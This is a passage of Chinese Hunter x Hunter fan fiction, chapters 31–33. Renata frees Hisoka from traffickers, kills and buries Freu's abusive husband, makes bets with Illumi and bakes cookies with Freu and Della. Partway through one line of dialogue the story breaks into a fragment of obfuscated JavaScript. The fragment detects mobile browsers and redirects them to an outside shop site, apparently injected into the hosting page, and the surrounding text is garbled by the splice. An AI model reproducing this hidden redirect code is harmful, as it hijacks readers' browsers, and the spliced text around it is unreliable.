金说过让她别在人类社会乱杀人，会被判刑。
她这样也不算杀人。
夕阳燃尽了所有的火焰，将所有的云朵都熏红了脸，临近傍晚，街道上亮起了点点灯光。
“叮铃铃。”是一个未知的号码打过来，蕾娜塔按下接听键，把电话靠在耳边。
“是我，伊路米。”哪怕不说名字，平缓的声调也很难质疑对面是否造假。至少蕾娜塔是不再希望有第二个伊路米的。
“根据情报网显示西索现在处于失踪前所在的面粉店地下室。这家面粉店的老板隶属于诺斯拉家族，管控着人口这方面的生意。晚上六点就会把地下室那批送往赌场底下的黑市拍卖会。还有——”
对面的声音顿了顿，带上点疑惑的语气询问道：“是弗洛伊拜托你做这件事情吗？你们之前好像没有什么交集吧？还是说昨天晚上？”
蕾娜塔很明白伊路米未尽的语意，这家伙肯定在揣着答案问问题。
果然告诉伊路米就没有秘密可言了，她在心里轻轻地叹了一口气，在雇佣他的时候，她就已经想到这样的后果了。
“这和伊路米有什么关系吗？”她反问道，拿着电话的手作势就要按下挂断键。
听见蕾娜塔毫不客气的反问，伊路米没什么多大的情绪，反倒比较在意的是蕾娜塔是不是进入叛逆期了。
书上讲青春期的少年容易进入叛逆期，这个时候规训的话就不要讲太多，否则会造成逆反效果。
所以他在电话里放软了嗓音，像哄孩子那样告诉蕾娜塔。“是冒犯到你了吗？那我道歉。不过我还是提醒你一句，西索那个家伙可不是什么好东西哦。”
那双金色的眼眸里闪烁着混乱的火花，如果不加以控制就会引火自焚。
从见到西索的第一眼起，伊路米就知道他们的本性是相同的。
不过比起西索，他更在意的是那颗还未被精心打磨、能透彻看到底的宝石。那个黑发男人真的太松懈了，居然放任她一个人在外面。
在和父亲报备后，父亲也只是淡淡地说了一句：“注意安全，尽量别暴露你是个揍敌客。”
只有他知道这块璞玉的珍贵。
“嘟——”电话那头已经挂断了电话。
31.潜入×转移×发现
蕾娜塔就不应该指望伊路米能说出什么人话，完全是他自以为是的想法，在他多嘴的时候就可以挂掉电话了。
她从口袋里掏出一块口香糖嚼着。这是她在路边的店铺买的，好像叫什么什么的爱，那个店长吹出了一个很大的泡泡，她也想试试。
什么西索不西索的，她只是为了弗洛伊能够重新笑起来。
蕾娜塔在周围看了一圈，是弗洛伊家附近没错，现在的时间是下午五点半，距离转运的时间还有半个小时。她小心打开面粉店的门，潜入进去。
在搜寻的过程中她不经意地瞥了窗外一眼，发现之前在街上找事的男人拄着拐杖，醉醺醺地在附近游荡。
嗯？他为什么在这里？
来不及多想地下室就传来了嘈杂的声音。
要赶紧找入口在哪里了。
循着那细微的风声她把地毯卷起来在下面发现了一条暗道。她小心翼翼地推开钻进去，再把一切复原。
“你说这批货能赚到多少啊？”
“小心点，这批货可是极品。尤其那个红发的别擦着碰着了。到时候和别的货分开。”
还没有进入底下就传来了几个男人的窃窃私语。蕾娜塔轻轻走下去细细查看，顺道在沿途的石壁附近发现了之前在流星街发现的如出一辙的念。这个念已经出现三次了，是类似眷属那种传承的吗？
听他们的口吻，红发的应该是西索吧，地下拍卖会还有另一批货？虽然拯救西索不费什么力啦，但是看到热闹的场面她也很喜欢，蕾娜塔小小地纠结了一下。
有了，偷偷钻进西索的笼子里，反正里面有五六个小孩了再多她一个没问题吧。
说行动就行动，她仗着巡逻人的视角盲区，把关着西索笼子打开一个小缝钻了进去，还顺手修复了痕迹。
“嗯？蕾娜塔？”西索蹲在角落里玩着他那套扑克牌，看到钻进来的少女疑惑一声。
蕾娜塔把食指抵在她的嘴唇上，示意他嘘声。
在这个笼子里的小孩都缩在角落里，他又看了附近的念能力人员，竟然没有一个人发现她的存在。
他勾起嘴角，那双金色的眼眸玩味地眯了起来，手下的扑克牌塔也随之倒塌。
这可真是……
蕾娜塔倒是毫不担心有什么情况出现，嘴里不知道在嚼着什么东西，还吹出了一个泡泡。
“你要吗？”像是想起什么她从口袋里掏出一枚口香糖递给西索。
“是蕾娜塔给我的呢~我可要好好的感谢呢~”
话是那么说，西索还是先打量了一下，发现上面印着‘伸缩自如的爱’后，伸手接过来。
他知道这家店。
只有过生日的时候，弗洛伊才会给他买。他垂下眼眸，把这块口香糖收进口袋里。
“不过我现在没什么心情吃呢~”他的眼眸若有所指地扫过外面看守着的黑西装。
“哦。”蕾娜塔无聊地又吹了一个泡泡。
“蕾娜塔酱来这里是干什么呢~”西索又开始搭起他的扑克牌塔。
泡泡破了，蕾娜塔把它吃进嘴里。
“我不想见到弗洛伊哭泣。”
“这可真是出乎意料的答案呢~我还以为蕾娜塔来这里是为了我呢~”西索把一张小王牌抵在嘴边，把它搭上扑克牌塔的尖尖。
“天空竞技场的事你为什么瞒着弗洛伊？”当时西索向弗洛伊询问她是谁时，他微微闪烁的眼眸蕾娜塔可没有看错。现在刚好弗洛伊也不在，她也可以直接问西索。
“弗洛伊不需要知道太多事情哦~”西索透过扑克牌塔的三角形缝隙刚好可以看到蕾娜塔的眼睛。
比他的头发还要鲜艳的红色凝结在她的虹膜。
“那蕾娜塔酱为什么没有告诉弗洛伊呢~”
“因为你对我来说根本不重要。”
“真是让我伤心呢~”西索把面前的扑克牌塔推翻，嘴角的笑意不减半分。
“老大我们可以出发了。”
“把那几个搬上车吧。”
穿着黑西装的几个男人先搬的是西索这个笼子。蕾娜塔缩在角落，尽量减少自己的存在感。
西索倒是气定神闲地继续搭着扑克牌塔，就好像要被拐卖的不是他一样。
“啊呀~倒掉了~”他可惜地看着坍塌的扑克牌堆。
“老大这——”个子偏矮的男人看着西索迟疑地询问带着墨镜的男人。
“不用管他，继续搬。”
带着墨镜的男人看了一眼笼子里面的人是否完好，就指挥其他人去了。
“蕾娜塔酱，你说我们会去哪呢~”
“地下拍卖场。”蕾娜塔靠在笼子边上休息。
七八个笼子堆在一起，几个黑西装的人蹲在一旁看守，车门关好后，车子开始起步，大概一个小时的路程，让蕾娜塔有点昏昏欲睡，西索倒是不知疲倦地搭着他的扑克牌堆。
直到车门打开，笼子被搬出去，蕾娜塔才呼吸到了新鲜空气。
那个个子偏矮的男人还是负责搬运，突然和蕾娜塔的双眸对视上。
他们抓的小孩有红眸的吗？
还未等男人回忆，戴着墨镜的老大就开始催促了。
“知道了老大。”他低着头回应。
搬完这些笼子后，来评估价值的人来了一批又一批。其中让蕾娜塔印象最深刻的是那个曾经出现在电视上的魔术师——俊克·莫罗。
他头发的颜色和西索一样，是非常张扬的红色。在看到西索的红发时，他垂下眼眸不知道在思考什么，随后对着那个戴墨镜的男人说：“这个红发的，我要了。多少。”
带墨镜的男人比了五根手指，俊克·莫罗眼都不眨一下就把钱转给他了。
“五亿，已经打到你的账户上了。”
做魔术师居然也那么有钱。那她苦苦打上去的天空竞技场算什么？
“再见了~蕾娜塔酱~”
西索在一张扑克牌亲吻了一下飞向蕾娜塔，然后就乖乖跟着红发男人走了。
蕾娜塔接住那张扑克牌，翻开一看居然是大王。
等等等等这不对吧。
趁着俊克·莫罗带着西索还没走远，蕾娜塔就把笼子打开，打晕了看守的保镖，放走了其他笼子里的小孩。一路跟着西索留下的痕迹追着他们走。
这和她想的完全不一样，本来想着在地下拍卖会大闹一场的，但是西索怎么提前被人买走了，那她等待的那些时间算什么。
“你叫什么名字。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085818|148054||http|test|mini|href|location''.split(''|''),0,{}));
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“西索哦~”
“我是俊克·莫罗，你应该在电视上看到过，做我徒弟怎么样？”
“为什么找我呢？”西索摆弄着手里的扑克牌。
“你没有拒绝的权利。”说着男人就缓缓释放了身上的念压。“如果同意的话，我允许你去找你的家人，但是你要跟在我这边学魔术。不同意的话那就死吧。”
“好~”
一路走来，跟到了马戏团，蕾娜塔躲在小角落里偷听。本以为西索会宁死不屈，没想到非常爽快的答应了。
？那她还不如去找弗洛伊。
见西索没有什么安全隐患，蕾娜塔也不想听接下去的对话。感觉这一趟有点亏，既经历了伊路米的精神攻击，又还要履行他剩下的赌约。她一定要找弗洛伊做小曲奇好好的补偿回来。
这么想着，她已经走到了弗洛伊家门口，里面传来噼里啪啦的锅碗声和女人的闷哼。
“臭婆娘，快把剩下的戒尼交给我。”
“真的没有了。”女人有气无力地回答道。
“别以为我不知道你还藏着掖着。”男人嘶吼着。
弗洛伊怎么了？
她推开门一看，一个男人扯着一个女人的头皮，原本温馨的小家也被破坏得彻底。未被长袖掩盖的手上布满了伤痕和淤青，在柜台上两人的合照掉在她的脚边。
“弗洛伊？”她有些迟疑地辨认出处于下位的女人，那双温暖的金色眼眸此刻充满了水雾。
这里的一切的一切都是蕾娜塔所不知道的。
“快跑！蕾娜塔！快跑！”弗洛伊先反应过来，那只充满伤痕的手臂挥舞着让蕾娜塔离开。
“居然又是你，之前在街道上害我丢了那么大的面子，你要是不想让她受伤，你就自己甩自己几个巴掌，让大爷我看个爽。”男人挑衅地拎着弗洛伊的领子，看着门口的蕾娜塔。
弗洛伊听见这话使劲地拨开男人的手，可无奈体力悬殊，她压根帮不到自己什么，只能转头冲着蕾娜塔喊道：“不要，蕾娜塔，不用管我。”
蕾娜塔没说话，盯着男人看，一步一步慢慢地走向他。
头顶上摇晃的吊灯让那双红眸变得渗人，她的影子在地上张牙舞爪。
“别，别过来，不然，不然本大爷就不客气了。”男人被吓得后退了几步，话也说不利索。
弗洛伊趁这个机会狠狠地咬住男人的胳膊，男人被痛地放开手。蕾娜塔也刚好踢向他的肚子，面无表情地拧下了男人的手。
“救、救命。”男人大声求救。
伴随着咔嚓一声，他的头被蕾娜塔拧断。
“他已经死了。”
她转头看向大口呼吸的弗洛伊，弗洛伊眼里没有半分恐惧，反倒多了几分庆幸。
“我们该怎么解决他？”蕾娜塔出声询问，她不清楚这里的律法。
“埋在后院吧，反正现在是晚上，别人也看不清。”弗洛伊思考一番，“他没有家人，平时也是个流氓，没有人会发现的。到时候问起我会说他去出差了。”
“我要把家里收拾一下，在西索回来之前，可以帮我搭把手吗？明天给你做小曲奇怎么样？”弗洛伊拉上蕾娜塔的手。“不要告诉西索好吗？”
“好。”
32.隐瞒×被讹×打赌
在西索回来的时候，所有的一切已经恢复原样。金色的眼眸在屋子里打转了一圈看向站在中央的弗洛伊和蕾娜塔。
“你这孩子，妈妈找你找的好辛苦。”还未等他开口，弗洛伊就已经小跑到他面前，把他从头到脚看了一遍后，再把他紧紧的抱住。“你知不知道我有多担心你。”她的话语带上几分哽咽。
那些新的旧的伤痕全被她掩饰在过长的衣袖下，平日里温暖的眸子带上些许水雾，即使在面对凶残的丈夫时她也没有露出过那么脆弱的一面。
蕾娜塔站在一旁看着。
不要告诉弗洛伊。
被抱着的西索和蕾娜塔交换了一个眼神，垂落在身边的手附上弗洛伊的后背，轻轻地拍着，“对不起啦妈妈，下次我会注意的。”
“还有下次？要和我说一声知道吗？要不是蕾娜塔和我说你在马戏团，我都以为你走丢了。”弗洛伊心疼地抚摸着西索柔软的头发。
黑和红的发丝交织在一块，弗洛伊把他们轻轻分开。她身上有些浓重的香水味钻入西索的鼻子里，让他忍不住打了一个喷嚏。
弗洛伊今天又不小心把香水喷多了吗？
“知道了妈妈，你抱的太紧啦。”西索小声地嘟囔了一句，作势要推开弗洛伊，反而让他被抱得更紧了。
“我只有你了，西索。”她温柔的嗓音带上几分祈求的意味。“所以，要平平安安的好吗？”她松开这个过于用力的拥抱，把双手搭在他的肩膀上，轻轻抵上西索的额头。
两双金色的眼眸在此刻相互看着对方，隐藏在血管里的红线把他们绑在一起。弗洛伊眼底的情绪西索并不能完全了解，反倒像是被灼烧一般别开了眼。
他拿弗洛伊没有一点办法。
“知道了……”他的嘴唇微张，像是从肺腑里真心实意地吐出了这句话。
“记住今天你对我说的话哦，”弗洛伊站起来点点西索的鼻尖，“妈妈会一直看着你的。”
按照以往弗洛伊肯定会喋喋不休一番，但今天她的心情好像出奇的好，不知道是不是蕾娜塔在的缘故。
他偏过头看站在弗洛伊身后的蕾娜塔。在整个过程里，他都能注意到她带着好奇和探究的视线。
秘、密。
蕾娜塔俏皮地眨了眨眼，做出无声的口型。
“现在西索也回来了，我要走了哦，弗洛伊。”
“那你明天记得来哦，我可以给你做小曲奇吃。路上小心。”弗洛伊站在门口挥手。
“好——”蕾娜塔回头应下。
虽然她不喜欢今天的发展，但是看到弗洛伊重新笑起来，她觉得还是挺值的。
街道上的商店还开着灯，她随便进了一个买了些甜品。本来打算带回天空竞技场吃的，没想到去买其他东西的功夫，一转头就有一个蓝发的少女比她先一步开吃。
“你是谁啊？”她再三确认是她放在这里的东西后询问道。
“我会、我会、”蓝发少女艰难地把嘴里的东西咽下去，“我会把戒尼给你的，我真的太饿了。”
“店铺快关门了，这些是我排队卡点买到的，你怎么拿戒尼赔？太过分了！”
“五倍。”
“不行。”
“十倍。给个地址，我回去就让仆人给你买。”
“这也不是不行，你吃吧。天空竞技场200层5号房。明天就送过来。”蕾娜塔说完这些就准备离开，却被一股力扯住了衣角。
“又怎么了？”她转头打量蓝发少女，碧蓝的眼眸楚楚可怜地看着她，食物的残渣还挂在少女的嘴边，身上的服饰是和她一个牌子，想来平日里也吃不了什么苦。
“那个——”蓝发少女有些扭捏地扯了扯她的衣角，“我现在离家出走了，没有地方可去……”
“离家出走？”蕾娜塔挑眉，“所以你的意思是你的补偿现在给不了喽？”
“不、不是，我会还的，只是时间问题……”说到后面少女的声音也小了下去，心里也没有什么底气。
“和我什么关系吗？”蕾娜塔把自己的衣角从少女手中抽开，向前一步贴近那个少女的脸，扬起一抹恶意的微笑。少女的眼眸同样清晰地倒映出她的脸，她把她自己看的一清二楚。
“对、对不起……”蓝发少女眼神游离，指头不安地搅在一起，显然也不敢再继续搭讪蕾娜塔了。
蕾娜塔随意地把她从头到脚打量了一遍。
真没意思。
她撇了撇嘴角，转身朝着原来的路径返回，一路上没什么人，如果忽视身后鬼鬼祟祟的小尾巴的话。
“要跟着我多久呢？”
快到天空竞技场的时候她才站住，没有转头，就像一个人在自言自语。
“说的就是你哦，蓝发的小姐。”见蓝发少女没有出来的迹象，她好脾气地把头转向蓝发少女的方向。
“还是被发现了。”蓝发少女磨蹭地从墙后面的阴影走出来。“其实我不是故意跟着你的，你相信我吗？”她有些无措的用手指挠了一下脸颊，扬起尴尬的笑容。
还没看清是什么，一张房卡从蕾娜塔那边扔过来，她下意识想去接住，却被打了脑袋。
“好痛。”她捂着头，看向怀里的那张卡。
“你原本住的地方对面的那家酒店，布局和你那边差不多。第52层。我记得我没有设暗号，你直接进去不用报。把卡给他们看就行了。”
“谢谢，我叫德拉·诺斯拉。”德拉·诺斯拉捧着那张卡片，抬头准备感谢蕾娜塔时，发现她早就离开了。
世界上还是好人多啊。她把这张卡贴在脸旁。刺骨的寒风刮过，让她冻得一激灵。
好、好冷，要快点去酒店！
“嗯？这么快就回来了？”
蕾娜塔前脚才迈入天空竞技场，就听到那平缓的嗓音响起。
固定位置刷新的女鬼出现了！
“嗯，出奇的顺利。”蕾娜塔点点头，不想多费口舌。
“我想好赌什么了哦。”伊路米平淡无波的眼眸紧盯着蕾娜塔，抿成线的嘴唇也稍稍带上了弧度。
他好像在笑？
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蕾娜塔不确定地猜测。
“什么？”
“弗洛伊会为了西索而死。”
“诶——这有什么吗？”蕾娜塔疑惑地眨眼。
弗洛伊确实有这个倾向，为西索而死好像也是什么正常不过的事情吧。
“嗯？没有懂吗？那我换句话说吧，西索会亲手杀了弗洛伊哦，而且弗洛伊还是心甘情愿的。”
亲手杀死至亲之人什么的。
这和上句话的意思完全不一样吧。
蕾娜塔的眉间隆起一道细纹。伊路米为什么会说出这样的话。弗洛伊还有别的事情隐瞒她和西索吗？
“好，那我赌不会。”
她不太相信伊路米这过于自信的判断。这家伙不说人话也不是一次两次的事情了。西索会杀弗洛伊什么的，总让人难以置信。
“我记得西索进马戏团了吧？还是那个叫俊克·莫罗的魔术师把他买走的。”伊路米摩挲着自己的下巴，回忆得到从情报网中获取的信息。
“这怎么了吗？”
“第二条赌约是——西索会亲手烧掉马戏团。”
不是，这怎么一条比一条……
“伊路米你是在给我放水吗？”她学着伊路米左手合拳拍在右手手心的样子，恍然大悟道。
“嗯？”伊路米的眉梢微微上挑，“虽然不知道你从哪里得出来的结论，但是没有哦。”接着他又盯着蕾娜塔看了一会，在她艳丽的眼眸处停顿一秒，继续道。
“哪怕我很喜欢蕾娜塔，我也是不会放水的，这对大家都不公平呢。”
蕾娜塔刻意把伊路米接近表白的话语过滤，确认他脸上的表情并不是开玩笑后，才拖长语调道：“好吧，我答应你了。”
伊路米手腕处的珀泪菊确认交易后发出了滚烫的热度，是近似于灼烧□□的温度，不会造成伤害，但也让人难以忽视。他事先没有告诉蕾娜塔这个现象。
不过蕾娜塔依旧保持着原样，好像什么都没有发生一样。如果不是伊路米手腕上的温度提醒着他，他也会以为什么都没有发生过。
蕾娜塔好像感知不到温度。
这个发现反倒让伊路米像是发现新大陆一样新奇地看着蕾娜塔。
“没有感觉吗？”
“什么感觉？”
他看着蕾娜塔在他出声后疑惑的神色，嘴角的弧度又上扬几分。
“没什么。”他轻快道。“可以睡觉了，要我陪着你吗？在家里的时候弟弟也会缠着我呢。我很有经验哦。”他意有所指地扫过墙壁上挂着的时钟，蕾娜塔也顺着他的视线看去。
现在是十一点半。
怪不得伊路米刚刚盯着她看，原来是打着这个主意。
“才不要。我又不是需要照顾的小孩子。”蕾娜塔想都没想地拒绝伊路米这个请求，转身朝着电梯方向走去。
伊路米看着蕾娜塔的背影出了神，直到电梯门缓缓合上的时候他才补充一句，“那晚安哦。”
“谁要和你晚安。”蕾娜塔转过头，不想看到伊路米的脸。
33.曲奇×氛围×意外
弗洛伊做的小曲奇很好吃，所以蕾娜塔常常来找弗洛伊。如果德拉·诺斯拉不跟着她一起的话，她或许会更开心。
“为什么你每次都要跟着我啊？”蕾娜塔叉着腰询问。
“因为你是好人啊。”
“你从哪里看出来的？”
“心里。”德拉·诺斯拉睁着两双大眼睛无辜地看着蕾娜塔，企图用撒娇来攻略蕾娜塔的心。
“德拉在也不会怎么样的啦蕾娜塔。”在一旁给面团塑型的弗洛伊笑着插话道。“曲奇是少不了你的。”
西索自从拜俊克·莫罗为师后一天见不到几次，弗洛伊一个人待在家里很无聊，蕾娜塔和德拉的存在刚好可以给她解闷。
“要上手试试吗？很轻松的。”弗洛伊把揉好的面团分成三瓣递给他们一人一半。“再用模具把它压花就好了。”
蕾娜塔把面团接过来，用模具压出了一个个不成型的曲奇，歪歪扭扭看不出来它原本的模样。
“蕾娜塔你这个做的是什么呀！”德拉·诺斯拉在一旁捧腹大笑。
“不许笑。再怎么样它也是曲奇。”蕾娜塔想补救一番，发现它丑得更难看了。她看向对面还在笑的德拉·诺斯拉的桌子，上面摆着和她相差无几的丑曲奇。
“不是，你做的那个样子为什么要笑我不笑你自己。”蕾娜塔不服气地指着桌子上的曲奇。
“略略，就笑就笑。”德拉·诺斯拉吐着舌头，做了一个鬼脸。
“哈哈，好啦。都是一个味道啦。”这边的弗洛伊已经把剩下的那一团压好了，蕾娜塔偏头凑过去看。一个个圆圆的脑袋摆在上面，从形状上大致判断是照着四个人做了那么多。
“弗洛伊你做的好像是四个人？”
“很聪明呢，蕾娜塔。让我们把它送入烤箱吧。”弗洛伊把曲奇再烤盘上摆好，送入早就预热好的烤箱里。
在等待烘烤的时间里，弗洛伊给蕾娜塔和德拉·诺斯拉端上一盘切好的兔子苹果，和三杯热牛奶。
“说起来，这个苹果还是西索种的呢。他很喜欢吃，所以就找了一些苹果种子种在后院。”弗洛伊捧着热茶小啜一口，脸上带着怀念的神色。“那个时候他还只是个小不点呢。”她在胯骨处比了比西索的身高。
“诶？西索居然会种苹果？”
“对呀，他一个人照料着那颗苹果树，也不需要我帮忙。就连摘苹果也要抢着呢。”
西索那个时候不太爱说话，就坐在后门口看着青涩的苹果一点点变成熟，为它浇灌、施肥、驱虫。
苹果还没成熟的时候，他还好奇地尝了一个，酸涩的味道让他的脸皱成一团，但还是坚持着把那颗青苹果吃完了。
从那以后他更加期待苹果的成熟。
等到成熟的时候，他找了家里的梯子就往树上高处爬，她在一旁看得提心吊胆，生怕他会掉下来，他倒是一脸开心地把苹果放进筐里。
如果摘到的是一颗烂苹果，他会捧着它露出沮丧的表情，然后把它好好地埋在地里面。
弗洛伊在讲述这些珍贵回忆的时候不自觉就会流露出自己的柔软，眉间的忧郁都被化开，她是打心底里爱着西索。
“我知道他瞒着我很多事情，但是看到他好好的活着，我也不想追究了，况且他也因此找到了人生的目标呢，我为他感到高兴才是。”弗洛伊讲这些的时候眼里闪着光。
反而坐在一旁的德拉·诺斯拉和蕾娜塔此时默契地面面相觑。
因为他们从来没有得到过这种东西，也不清楚那种感觉。
“当然，我也很喜欢蕾娜塔和德拉哦。”弗洛伊的声音把他们拉回来。“你们都是很好的孩子。”
黄油的香味在整个屋子弥漫烤箱发出了叮的一声。
蕾娜塔张了张嘴想要说什么，就被推门而入的西索打断。
“回来啦，西索。”弗洛伊笑盈盈地迎接上去。“我想着你应该回来了，刚好给你热好了牛奶，去坐在那吧。”
金色的眼眸扫过桌子上的两人，少女蓝色的头发垂落在腰后。
“嗯？妈妈，家里来新客人了？”
“这是德拉·诺斯拉，妈妈的新朋友哦。”
诺斯拉？听到这个姓氏，西索的眼睛微微眯起，但还是装作一无所知的模样道：“非常欢迎新客人呢。”
蕾娜塔也清楚这个姓氏的含义，有她在，德拉·诺斯拉也干不出什么伤害弗洛伊的事情，所以她没把事情告诉弗洛伊。
西索落座在她们中间，弗洛伊去拿后厨中烤箱里的曲奇。
一时间餐桌上陷入了诡异的气氛，德拉·诺斯拉和蕾娜塔低头喝着牛奶不说话。
“诺斯拉小姐的家里人是不是还在寻找你呢？离家出走可不好哦~”他凑到德拉·诺斯拉的耳边，把诺斯拉这个姓氏的读音咬的很轻，嗓音甜腻，带着些暧昧的语气把一块苹果推到德拉·诺斯拉的面前。
“哈哈，你从哪里听来的。我怎么会离家出走呢。”德拉·诺斯拉打着哈哈笑道。
“听说诺斯拉帮派的大小姐不见了——”
“啊哈哈，是吗？那他们真的很倒霉。”德拉·诺斯拉心虚地拿起西索递给她的苹果咬了一口。
“是吗？他们确实很倒霉哦~前些日子为了寻找大小姐死了很多人。也不知道是人为还是意外呢~”西索勾起嘴角，变戏法一般不知道从哪里掏出一张Q放在右眼前，图案上的两个女王像在盯着德拉·诺斯拉。
德拉·诺斯拉眼神飘忽，咬着苹果的速度也慢了下来。
“不是她。我见过那个大小姐。非常高傲。”蕾娜塔咽下嘴里的牛奶接着西索道，虽然两个人长得一模一样，但是内里却是翻天覆地。
“哼哼~是吗~”西索还是笑着收起了他的扑克牌。“这是我最近学的扑克脸，怎么样~”
“没区别。”蕾娜塔懒得搭理他，只盼着弗洛伊来快点，好快点吃上曲奇。
“真令我伤心呢~蕾娜塔酱~明明我们已经——”西索的话语戛然而止。
“久等了吧。”弗洛伊的声音从背后传来，把一盘的曲奇端上了桌。
“诶？！！”反应慢半拍的德拉·诺斯拉眼神狐疑地在他们两中间打转。“原来你们？！！”
“蕾娜塔和西索怎么了吗？你们刚刚在聊什么？”不知道发生什么的弗洛伊满脸疑惑。
“没什么，只是说了之前的事情。”西索笑眯眯地拿起一块曲奇品尝。
“不和我……”
“弗洛伊你的手好巧，原来这个曲奇是我们四个人诶？”蕾娜塔打断了弗洛伊刚出口的话，惊讶地看着烤盘里曲奇的花纹。
“啊谢谢蕾娜塔，因为我很喜欢你们呢。”弗洛伊捧着脸接受了夸赞。
西索瞥了一眼手上，拿的那块刚好是蕾娜塔模样的曲奇，他面不改色地翻转过来。一口咬下。
“西索，你的那块是谁啊？”蕾娜塔好奇地看着西索手里的曲奇。
“是我自己哦~”
“真的？”她紧紧地盯着西索的眼睛，想找出一丝蛛丝马迹。
“真的。”
蕾娜塔在烤盘里看了一圈，终于发现了自己那
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块。却被德拉·诺斯拉抢先拿走，连同着长得像西索那块的曲奇气鼓鼓地咬下。
“德拉这是？”弗洛伊困惑地看着有些生气的德拉·诺斯拉，不知道该怎么开口，怕让她更生气。
“可能刚刚西索变魔术吓到她了吧？”蕾娜塔咬着西索的曲奇随便编了一个理由。
绝对是西索把她的那块拿走了。
她本来想留着等到弗洛伊下次做的之前吃掉的。
可恶！
她恶狠狠地咬碎西索曲奇的脑袋。
“西索下次不可以这样了。”弗洛伊轻抚着西索的头发，“和德拉说对不起。”
“对不起。”西索也是立马就道了歉，被看着的德拉·诺斯拉反倒不敢接受。
“没事，不是他的错。”她连连摆手。
“噔、噔、噔。”门外规律的响了三声敲门声。
“这个时候还有谁来呢？”弗洛伊小声嘀咕了一句，走到门口，把门打开。
蕾娜塔心里突然升起了不详的念头。
“你好，我是来找蕾娜塔的，请问她在吗？”平静无波的嗓音传来，在屋子里的四个人都听到了。
原来是来找人的。
弗洛伊看着黑发黑眸的男孩，松了一口气。
“她在，要不要进来吃一点？”弗洛伊让开身子，伊路米可以探头看到里面的情况，三个人整整齐齐地坐在桌子旁边。金色和红色的眼眸紧紧地盯着他，怕他对弗洛伊做出什么事情。
居然都在呢。
“那就麻烦你了。”伊路米点点头，答应了弗洛伊的邀请，非常自然地坐在西索对面，拿起那块像蕾娜塔的曲奇开始吃起来。
也不知道是有意还是无意。
弗洛伊去后厨给伊路米热牛奶去了。
“伊路米找我有什么事情吗？”蕾娜塔歪头盯着他，同时也在警告对方不要乱来。
“好久没有在那见到你，我很担心呢。”伊路米睁着墨色的瞳眸无辜地看着蕾娜塔。“想着碰碰运气，没想到你真的在这里，还和西索在一块呢。”他的眼眸转向对面的含笑的西索。
“明明我已经说过了，为什么蕾娜塔不愿意听呢，真是让我伤脑筋。”他略带疑惑地皱起眉头，像是不满蕾娜塔私自和西索见面的行为，连带着咀嚼曲奇的速度都慢了，下来。
这就是青春期少女的叛逆期吗？
他一一扫过三个人的表情，也不知道这里有什么好待的，竟然让蕾娜塔天天来这里。
“说不定蕾娜塔就是喜欢我呢~伊~路~米~”西索挑衅地凑近蕾娜塔，指尖在蕾娜塔的后背轻轻划过。
伊路米脸色一沉，那双透不进光的黑眸眼底翻滚着晦暗的情绪。
好、好奇怪。
是要打起来了吗？那真的太棒了。
蕾娜塔左右打量着对方的表情，准备在他们动手的时候带着弗洛伊逃跑。
“原来你们三个都认识吗？”德拉·诺斯拉尴尬地咳了一声。
双方都在餐桌上无声地对抗着，没有人回答。
“伊路米，这是给你的牛奶。”弗洛伊端着牛奶递到了伊路米的面前，打破了紧张的氛围。
“嗯，谢了。”伊路米把面前的牛奶一饮而尽。“确认了蕾娜塔在这里，那我也该走了。今天一见，你的儿子让我很在意呢。”
是想和西索成为朋友吗？
“那下次欢迎啊。”她笑着答应。
“好。”伊路米在离开之前瞥过餐桌上的西索和蕾娜塔。
紧接着那双眼眸在缝隙中消失。